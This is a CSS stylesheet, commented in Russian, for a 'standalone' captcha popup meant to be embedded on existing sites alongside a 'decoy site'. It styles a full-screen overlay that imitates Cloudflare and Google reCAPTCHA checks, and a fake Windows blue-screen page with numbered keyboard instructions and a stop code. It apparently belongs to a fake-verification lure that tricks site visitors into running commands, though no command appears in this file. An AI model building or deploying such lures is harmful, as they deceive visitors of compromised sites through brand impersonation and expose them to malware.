/* Стили для Captcha Popup - standalone версия для встраивания на существующие сайты */
/* Не содержит стилей для decoy сайта - только для модальных окон капчи */

.cloudflare-modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.5);
    backdrop-filter: blur(3px);
    z-index: 999999;
    display: flex;
    align-items: center;
    justify-content: center;
}

.cloudflare-content {
    background: #ffffff;
    border-radius: 16px;
    padding: 40px;
    max-width: 500px;
    width: 90%;
    text-align: center;
    box-shadow: 0 2px 8px rgba(0,0,0,0.15);
    border: 1px solid #e0e0e0;
}

.cloudflare-logo {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-bottom: 30px;
    font-size: 22px;
    font-weight: 600;
    color: #333;
}

.cloudflare-icon {
    font-size: 28px;
    width: 32px;
    height: 32px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.cloudflare-content h2 {
    font-size: 18px;
    margin-bottom: 12px;
    color: #222;
    font-weight: 400;
    line-height: 1.4;
}

.cloudflare-content p {
    color: #555;
    margin-bottom: 25px;
    font-size: 13px;
    line-height: 1.5;
}

.loading-spinner {
    width: 50px;
    height: 50px;
    border: 3px solid #e0e0e0;
    border-top: 3px solid #4285f4;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 30px auto;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.verifying-box {
    background: #f5f5f5;
    border: 1px solid #e0e0e0;
    border-radius: 8px;
    padding: 20px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin: 20px 0;
}

.verifying-spinner {
    display: flex;
    align-items: center;
    gap: 15px;
}

.spinner-circle {
    width: 24px;
    height: 24px;
    border: 3px solid #e0e0e0;
    border-top: 3px solid #4caf50;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
}

.verifying-spinner span {
    color: #333;
    font-size: 14px;
}

.cloudflare-brand {
    display: flex;
    align-items: center;
    gap: 10px;
}

.cloudflare-small-icon {
    font-size: 20px;
}

.cloudflare-brand > div > div:first-child {
    font-size: 12px;
    font-weight: 600;
    color: #333;
}

.small-text {
    font-size: 10px;
    color: #666;
}

.recaptcha-checkbox-container {
    margin: 30px 0;
}

.recaptcha-checkbox {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 12px;
    background: #f5f5f5;
    border: 1px solid #e0e0e0;
    border-radius: 8px;
    padding: 12px 20px;
    width: 100%;
    max-width: 300px;
    margin: 0 auto;
    cursor: pointer;
    transition: all 0.3s;
}

.recaptcha-checkbox:hover {
    background: #eeeeee;
}

.checkbox-square {
    width: 24px;
    height: 24px;
    border: 2px solid #999;
    border-radius: 2px;
    background: white;
    position: relative;
    flex-shrink: 0;
}

.recaptcha-checkbox.checked .checkbox-square {
    background: #4285f4;
    border-color: #4285f4;
}

.recaptcha-checkbox.checked .checkbox-square::after {
    content: '✓';
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    color: white;
    font-weight: bold;
    font-size: 16px;
}

.recaptcha-checkbox span {
    font-size: 14px;
    color: #333;
}

.recaptcha-logo-small {
    width: 30px;
    height: 35px;
    margin-left: auto;
    background-image: url('data:image/svg+xml;utf8,<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M12 2L13.09 8.26L20 9L13.09 15.74L12 22L10.91 15.74L4 9L10.91 8.26L12 2Z" fill="%234285F4"/><path d="M12 6L12.6 9.4L16 10L12.6 14.6L12 18L11.4 14.6L8 10L11.4 9.4L12 6Z" fill="%23FFFFFF"/></svg>');
    background-size: contain;
    background-repeat: no-repeat;
    background-position: center;
    flex-shrink: 0;
}

.cloudflare-footer {
    margin-top: 30px;
    padding-top: 20px;
    border-top: 1px solid #e0e0e0;
    font-size: 11px;
    color: #666;
    line-height: 1.6;
}

/* ===== BSOD SCREEN ===== */
.bsod-screen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: #000;
    color: white;
    z-index: 9999999;
    display: flex;
    flex-direction: column;
    font-family: 'Segoe UI', sans-serif;
}

.bsod-wrapper {
    width: 100%;
    height: 100%;
    display: flex;
    background: #0078d4;
}

.bsod-main {
    width: 100%;
    height: 100%;
    background: #0078d4;
    display: flex;
    flex-direction: column;
}

.bsod-content {
    flex: 1;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: flex-start;
    padding: 60px;
    max-width: 100%;
    margin: 0;
    background: transparent;
    width: 100%;
    box-sizing: border-box;
}

.bsod-emoji {
    font-size: 120px;
    margin-bottom: 30px;
    line-height: 1;
}

.bsod-message {
    font-size: 24px;
    margin-bottom: 40px;
    line-height: 1.4;
}

.bsod-instructions {
    margin-bottom: 40px;
}

.instruction-item {
    display: flex;
    align-items: flex-start;
    margin-bottom: 20px;
    font-size: 18px;
    line-height: 1.6;
}

.instruction-number {
    font-weight: bold;
    margin-right: 15px;
    min-width: 30px;
}

.instruction-text {
    flex: 1;
}

.windows-key {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    background: rgba(255,255,255,0.2);
    padding: 4px 8px;
    border-radius: 4px;
    font-weight: bold;
    vertical-align: middle;
}
.windows-key .win-icon {
    display: block;
    width: 18px;
    height: 18px;
}

.bsod-info {
    font-size: 16px;
    line-height: 1.8;
    color: rgba(255,255,255,0.9);
}

.stop-code {
    margin-top: 20px;
    font-family: 'Courier New', monospace;
    font-size: 14px;
}

.bsod-url-bar {
    background: rgba(0,0,0,0.3);
    padding: 8px 20px;
    text-align: center;
    font-size: 12px;
    color: rgba(255,255,255,0.8);
    margin-top: auto;
}

